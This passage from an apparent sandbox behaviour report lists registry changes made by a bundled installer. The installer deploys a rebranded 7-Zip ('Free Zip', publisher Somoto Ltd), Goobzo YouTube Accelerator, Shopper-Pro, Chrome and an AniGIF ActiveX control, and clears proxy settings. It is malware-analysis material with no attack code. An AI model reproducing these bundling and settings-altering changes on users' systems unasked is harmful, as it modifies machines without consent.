"SavedLegacySettings" = "46 00 00 00 4B 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"
"TimeLimit" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process FreeZip920.exe:2304 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Directory\shellex\DragDropHandlers\7-Zip]
"(Default)" = "{23170F69-40C1-278A-1000-000100020000}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip]
"Publisher" = "Somoto Ltd"

[HKCR\*\shellex\ContextMenuHandlers\7-Zip]
"(Default)" = "{23170F69-40C1-278A-1000-000100020000}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip]
"NoRepair" = "1"

[HKCR\Wow6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32]
"(Default)" = "%Program Files% (x86)\Free Zip\7-zip.dll"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved]
"{23170F69-40C1-278A-1000-000100020000}" = "7-Zip Shell Extension"

[HKLM\SOFTWARE\Wow6432Node\7-Zip]
"Path" = "%Program Files% (x86)\Free Zip"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\7zFM.exe]
"Path" = "%Program Files% (x86)\Free Zip"

[HKCU\Software\7-Zip]
"Path" = "%Program Files% (x86)\Free Zip"

[HKCR\Wow6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\7zFM.exe]
"(Default)" = "%Program Files% (x86)\Free Zip\7zFM.exe"

[HKCR\Wow6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000}]
"(Default)" = "7-Zip Shell Extension"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip]
"NoModify" = "1"

[HKCR\Directory\shellex\ContextMenuHandlers\7-Zip]
"(Default)" = "{23170F69-40C1-278A-1000-000100020000}"

[HKCR\Drive\shellex\DragDropHandlers\7-Zip]
"(Default)" = "{23170F69-40C1-278A-1000-000100020000}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip]
"DisplayName" = "Free Zip 9.20"
"UninstallString" = "%Program Files% (x86)\Free Zip\Uninstall.exe"

The Application deletes the following value(s) in system registry:

[HKCR\Wow6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32]
"InprocServer32"

The process powershell.exe:3504 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\29\52C64B7E]
"LanguageList" = "en-US, en"

The process powershell.exe:1968 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\29\52C64B7E]
"LanguageList" = "en-US, en"

The process powershell.exe:3696 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\29\52C64B7E]
"LanguageList" = "en-US, en"

The process setup.exe:3136 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "62 32 71 0E 2C 3C D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\%Program Files% (x86)\Google\Update\1.3.24.15, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\327c54aa\python.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\327c54aa\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz2637.tmp\AccDownload.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz2637.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz2637.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp3EF5.tmp\AccDownload.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp3EF5.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp3EF5.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\422.json,"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 46 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "A8 92 D2 10 2C 3C D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "A8 92 D2 10 2C 3C D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process setup.exe:2364 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\ShopperPro]
"DisplayName" = "Shopper-Pro"
"UninstallString" = "%Program Files% (x86)\ShopperPro\SPremove.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\ShopperPro.exe]
"(Default)" = "%Program Files% (x86)\ShopperPro\ShopperPro.exe"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\ShopperPro]
"DisplayIcon" = "%Program Files% (x86)\ShopperPro\ShopperPro.exe"

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\%Program Files% (x86)\Google\Update\1.3.24.15, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\327c54aa\python.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\327c54aa\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz2637.tmp\AccDownload.dll,"

The process setup.exe:4376 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{4DC8B4CA-1BDA-483E-B5FA-D3C12E15B62D}]
"ap" = "-stage:preconditions-multi-chrome-full"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Google Chrome\Capabilities\URLAssociations]
"urn" = "ChromeHTML"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe]
"(Default)" = "%Program Files% (x86)\Google\Chrome\Application\chrome.exe"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\Clients\{4DC8B4CA-1BDA-483e-B5FA-D3C12E15B62D}]
"pv" = "40.0.2214.94"

[HKCR\.xhtml\OpenWithProgids]
"ChromeHTML" = ""

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{4DC8B4CA-1BDA-483E-B5FA-D3C12E15B62D}]
"InstallerExtraCode1" = "1"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}]
"UninstallString" = "%Program Files% (x86)\Google\Chrome\Application\40.0.2214.94\Installer\setup.exe"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Google Chrome\InstallInfo]
"ShowIconsCommand" = "%Program Files% (x86)\Google\Chrome\Application\chrome.exe --show-icons"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Google Chrome\Capabilities\URLAssociations]
"ftp" = "ChromeHTML"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Google Chrome\Capabilities]
"ApplicationName" = "Google Chrome"

[HKCR\.shtml\OpenWithProgids]
"ChromeHTML" = ""

[HKLM\SOFTWARE\Clients\StartMenuInternet\Google Chrome\Capabilities\URLAssociations]
"http" = "ChromeHTML"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Google Chrome\Capabilities\Startmenu]
"StartMenuInternet" = "Google Chrome"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\Clients\{8A69D345-D564-463c-AFF1-A69D9E530F96}]
"Name" = "Google Chrome"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components\{8A69D345-D564-463c-AFF1-A69D9E530F96}]
"StubPath" = "%Program Files% (x86)\Google\Chrome\Application\40.0.2214.94\Installer\chrmstp.exe --configure-user-settings --verbose-logging --system-level --multi-install --chrome"
"(Default)" = "Google Chrome"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Google Chrome\Capabilities\FileAssociations]
".xhtml" = "ChromeHTML"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Google Chrome\Capabilities]
"ApplicationIcon" = "%Program Files% (x86)\Google\Chrome\Application\chrome.exe,0"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Google Chrome\DefaultIcon]
"(Default)" = "%Program Files% (x86)\Google\Chrome\Application\chrome.exe,0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome]
"Publisher" = "Google Inc."

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components\{8A69D345-D564-463c-AFF1-A69D9E530F96}]
"IsInstalled" = "1"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Google Chrome\Capabilities]
"ApplicationDescription" = "Google Chrome is a web browser that runs webpages and applications with lightning speed. It's fast, stable, and easy to use. Browse the web more safely with malware and phishing protection built into Google Chrome."

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{4DC8B4CA-1BDA-483E-B5FA-D3C12E15B62D}]
"InstallerResult" = "0"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Google Chrome]
"(Default)" = "Google Chrome"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\Clients\{8A69D345-D564-463c-AFF1-A69D9E530F96}\Commands\on-os-upgrade]
"AutoRunOnOSUpgrade" = "1"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Google Chrome\Capabilities\URLAssociations]
"tel" = "ChromeHTML"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}]
"InstallerResult" = "0"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Google Chrome\Capabilities\FileAssociations]
".htm" = "ChromeHTML"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\Clients\{4DC8B4CA-1BDA-483e-B5FA-D3C12E15B62D}\Commands\quick-enable-application-host]
"WebAccessible" = "1"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Google Chrome\Capabilities\URLAssociations]
"nntp" = "ChromeHTML"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\Clients\{4DC8B4CA-1BDA-483e-B5FA-D3C12E15B62D}\Commands\quick-enable-application-host]
"CommandLine" = "%Program Files% (x86)\Google\Chrome\Application\40.0.2214.94\Installer\setup.exe --multi-install --app-launcher --ensure-google-update-present"

[HKCR\ChromeHTML]
"(Default)" = "Chrome HTML Document"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}]
"InstallerError" = "2"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Google Chrome\InstallInfo]
"ReinstallCommand" = "%Program Files% (x86)\Google\Chrome\Application\chrome.exe --make-default-browser"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\Clients\{4DC8B4CA-1BDA-483e-B5FA-D3C12E15B62D}\Commands\query-eula-acceptance]
"RunAsUser" = "1"

[HKCR\.webp\OpenWithProgids]
"ChromeHTML" = ""

[HKLM\SOFTWARE\Clients\StartMenuInternet\Google Chrome\Capabilities\URLAssociations]
"smsto" = "ChromeHTML"
"mms" = "ChromeHTML"

[HKCR\.xht\OpenWithProgids]
"ChromeHTML" = ""

[HKCR\ChromeHTML\DefaultIcon]
"(Default)" = "%Program Files% (x86)\Google\Chrome\Application\chrome.exe,0"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\Clients\{FDA71E6F-AC4C-4a00-8B70-9958A68906BF}]
"pv" = "40.0.2214.94"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\Clients\{4DC8B4CA-1BDA-483e-B5FA-D3C12E15B62D}\Commands\query-eula-acceptance]
"CommandLine" = "%Program Files% (x86)\Google\Chrome\Application\40.0.2214.94\Installer\setup.exe --query-eula-acceptance --system-level"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{4DC8B4CA-1BDA-483E-B5FA-D3C12E15B62D}]
"UninstallArguments" = " --uninstall --multi-install --system-level"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome]
"VersionMajor" = "2214"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Google Chrome\Capabilities\FileAssociations]
".xht" = "ChromeHTML"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\Clients\{4DC8B4CA-1BDA-483e-B5FA-D3C12E15B62D}\Commands\quick-enable-application-host]
"RunAsUser" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome]
"DisplayName" = "Google Chrome"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Google Chrome\Capabilities\URLAssociations]
"irc" = "ChromeHTML"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}]
"UninstallArguments" = " --uninstall --multi-install --chrome --system-level"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Google Chrome\Capabilities\FileAssociations]
".shtml" = "ChromeHTML"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\Clients\{FDA71E6F-AC4C-4a00-8B70-9958A68906BF}]
"Name" = "Google Chrome App Launcher"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Google Chrome\Capabilities\URLAssociations]
"mailto" = "ChromeHTML"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Google Chrome\InstallInfo]
"IconsVisible" = "1"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\Clients\{4DC8B4CA-1BDA-483e-B5FA-D3C12E15B62D}\Commands\query-eula-acceptance]
"WebAccessible" = "1"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Google Chrome\Capabilities\URLAssociations]
"news" = "ChromeHTML"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome]
"InstallLocation" = "%Program Files% (x86)\Google\Chrome\Application"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components\{8A69D345-D564-463c-AFF1-A69D9E530F96}]
"Localized Name" = "Google Chrome"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\Clients\{8A69D345-D564-463c-AFF1-A69D9E530F96}\Commands\on-os-upgrade]
"CommandLine" = "%Program Files% (x86)\Google\Chrome\Application\40.0.2214.94\Installer\setup.exe --on-os-upgrade --multi-install --chrome --system-level --verbose-logging"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Google Chrome\Capabilities\FileAssociations]
".webp" = "ChromeHTML"

[HKCR\Wow6432Node\CLSID\{5C65F4B0-3651-4514-B207-D10CB699B14B}\LocalServer32]
"(Default)" = "%Program Files% (x86)\Google\Chrome\Application\40.0.2214.94\delegate_execute.exe"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome]
"VersionMinor" = "94"
"NoRepair" = "1"

[HKCR\Wow6432Node\CLSID\{5C65F4B0-3651-4514-B207-D10CB699B14B}\LocalServer32]
"ServerExecutable" = "%Program Files% (x86)\Google\Chrome\Application\40.0.2214.94\delegate_execute.exe"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome]
"DisplayIcon" = "%Program Files% (x86)\Google\Chrome\Application\chrome.exe,0"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Google Chrome\Capabilities\URLAssociations]
"webcal" = "ChromeHTML"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Google Chrome\shell\open\command]
"(Default)" = "%Program Files% (x86)\Google\Chrome\Application\chrome.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe]
"Path" = "%Program Files% (x86)\Google\Chrome\Application"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Google Chrome\Capabilities\URLAssociations]
"https" = "ChromeHTML"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome]
"DisplayVersion" = "40.0.2214.94"
"NoModify" = "1"

[HKCR\.html\OpenWithProgids]
"ChromeHTML" = ""

[HKLM\SOFTWARE\Wow6432Node\Google\Update\Clients\{8A69D345-D564-463c-AFF1-A69D9E530F96}]
"pv" = "40.0.2214.94"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{4DC8B4CA-1BDA-483E-B5FA-D3C12E15B62D}]
"UninstallString" = "%Program Files% (x86)\Google\Chrome\Application\40.0.2214.94\Installer\setup.exe"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\Clients\{4DC8B4CA-1BDA-483e-B5FA-D3C12E15B62D}\Commands\quick-enable-application-host]
"SendsPings" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome]
"UninstallString" = "%Program Files% (x86)\Google\Chrome\Application\40.0.2214.94\Installer\setup.exe --uninstall --multi-install --chrome --system-level"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{4DC8B4CA-1BDA-483E-B5FA-D3C12E15B62D}]
"InstallerError" = "2"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Google Chrome\Capabilities\FileAssociations]
".html" = "ChromeHTML"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components\{8A69D345-D564-463c-AFF1-A69D9E530F96}]
"Version" = "24,0,0,0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome]
"Version" = "40.0.2214.94"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}]
"ap" = "-multi-chrome-full"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Google Chrome\Capabilities\URLAssociations]
"sms" = "ChromeHTML"

[HKLM\SOFTWARE\RegisteredApplications]
"google chrome" = "Software\Clients\StartMenuInternet\Google Chrome\Capabilities"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Google Chrome\InstallInfo]
"HideIconsCommand" = "%Program Files% (x86)\Google\Chrome\Application\chrome.exe --hide-icons"

[HKCR\ChromeHTML\shell\open\command]
"(Default)" = "%Program Files% (x86)\Google\Chrome\Application\chrome.exe -- %1"

[HKCR\Wow6432Node\CLSID\{5C65F4B0-3651-4514-B207-D10CB699B14B}]
"(Default)" = "CommandExecuteImpl Class"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\Clients\{4DC8B4CA-1BDA-483e-B5FA-D3C12E15B62D}]
"Name" = "Google Chrome binaries"

[HKCR\.htm\OpenWithProgids]
"ChromeHTML" = ""

The Application deletes the following registry key(s):

[HKCR\Wow6432Node\CLSID\{5C65F4B0-3651-4514-B207-D10CB699B14B}]
[HKCR\Wow6432Node\CLSID\{5C65F4B0-3651-4514-B207-D10CB699B14B}\LocalServer32]
[HKCR\Wow6432Node\CLSID\{5C65F4B0-3651-4514-B207-D10CB699B14B}\Programmable]
[HKLM\SOFTWARE\Wow6432Node\Google\Update\Clients\{8A69D345-D564-463c-AFF1-A69D9E530F96}\Commands\install-extension]

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{4DC8B4CA-1BDA-483E-B5FA-D3C12E15B62D}]
"InstallerExtraCode1"

The process GLJ1A92.tmp:3112 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5]
"(Default)" = "Animation GIF Control"

[HKCR\AniGIFPpg2.AniGIFPpg2]
"(Default)" = "AniGIFPpg2 Class"

[HKCR\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\ProxyStubClsid32]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\ToolboxBitmap32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx, 1"

[HKCR\Wow6432Node\CLSID\{61AB12E1-A5FF-11D1-B2E9-444553540000}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\MiscStatus]
"(Default)" = "0"

[HKCR\AniGIFCtrl.AniGIF\CLSID]
"(Default)" = "{82351441-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}]
"(Default)" = "IAniGIF"

[HKCR\AniGIFPpg.AniGIFPpg]
"(Default)" = "AniGIFPpg Class"

[HKCR\AniGIFPpg2.AniGIFPpg2.1]
"(Default)" = "AniGIFPpg2 Class"

[HKCR\AniGIFPpg.AniGIFPpg\CurVer]
"(Default)" = "AniGIFPpg.AniGIFPpg.1"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}]
"(Default)" = "IAniGIFEvents"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\MiscStatus\1]
"(Default)" = "131473"

[HKCR\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}]
"(Default)" = "IAniGIF"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}]
"(Default)" = "Animation GIF Control"

[HKCR\AniGIFCtrl.AniGIF\CurVer]
"(Default)" = "AniGIFCtrl.AniGIF"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Verb\0]
"(Default)" = "&Properties,0,2"

[HKCR\AniGIFPpg2.AniGIFPpg2\CurVer]
"(Default)" = "AniGIFPpg2.AniGIFPpg2.1"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\ProxyStubClsid32]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"Version" = "1.5"

[HKCR\Wow6432Node\CLSID\{6DC82D15-92F2-11D1-A255-00A0C932C7DF}]
"(Default)" = "AniGIFPpg Class"

[HKCR\AniGIFCtrl.AniGIF]
"(Default)" = "Animation GIF Control"

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\AniGIFPpg.AniGIFPpg.1]
"(Default)" = "AniGIFPpg Class"

[HKCR\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"Version" = "1.5"
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Version]
"(Default)" = "1.5"

[HKCR\AniGIFPpg.AniGIFPpg.1\CLSID]
"(Default)" = "{6DC82D15-92F2-11D1-A255-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{61AB12E1-A5FF-11D1-B2E9-444553540000}\InprocServer32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\Wow6432Node\CLSID\{6DC82D15-92F2-11D1-A255-00A0C932C7DF}\InprocServer32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5\0\win32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5\FLAGS]
"(Default)" = "2"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}]
"(Default)" = "IAniGIFEvents"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Verb]
"(Default)" = ""

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"Version" = "1.5"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\ProgID]
"(Default)" = "AniGIFCtrl.AniGIF"

[HKCR\AniGIFCtrl.AniGIF\Insertable]
"(Default)" = ""

[HKCR\AniGIFPpg2.AniGIFPpg2.1\CLSID]
"(Default)" = "{61AB12E1-A5FF-11D1-B2E9-444553540000}"

[HKCR\Wow6432Node\CLSID\{61AB12E1-A5FF-11D1-B2E9-444553540000}]
"(Default)" = "AniGIFPpg2 Class"

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

